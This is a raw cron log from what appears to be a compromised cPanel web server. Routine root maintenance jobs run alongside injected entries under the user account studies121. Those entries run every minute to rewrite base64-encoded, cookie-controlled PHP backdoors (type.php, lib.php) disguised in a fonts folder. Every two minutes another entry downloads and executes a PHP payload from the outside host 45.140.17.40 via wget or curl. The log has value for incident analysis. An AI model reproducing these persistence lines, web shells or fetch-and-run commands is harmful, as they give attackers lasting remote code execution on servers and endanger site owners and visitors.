Sep  9 19:30:01 ip-184-168-122-23 CROND[3314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:30:01 ip-184-168-122-23 CROND[3321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:30:01 ip-184-168-122-23 CROND[3316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:30:01 ip-184-168-122-23 CROND[3317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:30:01 ip-184-168-122-23 CROND[3315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:30:01 ip-184-168-122-23 CROND[3320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:30:01 ip-184-168-122-23 CROND[3319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:31:01 ip-184-168-122-23 CROND[3417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:31:01 ip-184-168-122-23 CROND[3420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:31:01 ip-184-168-122-23 CROND[3421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:31:01 ip-184-168-122-23 CROND[3422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:31:01 ip-184-168-122-23 CROND[3423]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:32:01 ip-184-168-122-23 CROND[3518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:32:01 ip-184-168-122-23 CROND[3519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:32:01 ip-184-168-122-23 CROND[3521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:32:01 ip-184-168-122-23 CROND[3523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:32:01 ip-184-168-122-23 CROND[3522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:33:01 ip-184-168-122-23 CROND[3605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:33:01 ip-184-168-122-23 CROND[3607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:33:01 ip-184-168-122-23 CROND[3609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:33:01 ip-184-168-122-23 CROND[3608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:34:02 ip-184-168-122-23 CROND[3765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:34:02 ip-184-168-122-23 CROND[3767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:34:02 ip-184-168-122-23 CROND[3770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:34:02 ip-184-168-122-23 CROND[3769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:34:02 ip-184-168-122-23 CROND[3768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:35:01 ip-184-168-122-23 CROND[3863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3868]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:35:01 ip-184-168-122-23 CROND[3873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:36:01 ip-184-168-122-23 CROND[3973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:36:01 ip-184-168-122-23 CROND[3975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:36:01 ip-184-168-122-23 CROND[3976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:36:01 ip-184-168-122-23 CROND[3977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:36:01 ip-184-168-122-23 CROND[3978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:37:01 ip-184-168-122-23 CROND[4062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:37:01 ip-184-168-122-23 CROND[4063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:37:01 ip-184-168-122-23 CROND[4064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:37:01 ip-184-168-122-23 CROND[4065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:38:01 ip-184-168-122-23 CROND[4142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:38:01 ip-184-168-122-23 CROND[4143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:38:01 ip-184-168-122-23 CROND[4144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:38:01 ip-184-168-122-23 CROND[4146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:38:01 ip-184-168-122-23 CROND[4147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:39:01 ip-184-168-122-23 CROND[4321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:39:01 ip-184-168-122-23 CROND[4323]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 19:39:01 ip-184-168-122-23 CROND[4324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:39:01 ip-184-168-122-23 CROND[4325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:39:01 ip-184-168-122-23 CROND[4326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:40:01 ip-184-168-122-23 CROND[4427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:40:01 ip-184-168-122-23 CROND[4429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:40:01 ip-184-168-122-23 CROND[4431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:40:01 ip-184-168-122-23 CROND[4430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:40:01 ip-184-168-122-23 CROND[4434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:40:01 ip-184-168-122-23 CROND[4432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:40:01 ip-184-168-122-23 CROND[4433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:40:01 ip-184-168-122-23 CROND[4440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:41:01 ip-184-168-122-23 CROND[4535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:41:01 ip-184-168-122-23 CROND[4537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:41:01 ip-184-168-122-23 CROND[4536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:41:01 ip-184-168-122-23 CROND[4538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:42:01 ip-184-168-122-23 CROND[4627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:42:01 ip-184-168-122-23 CROND[4629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
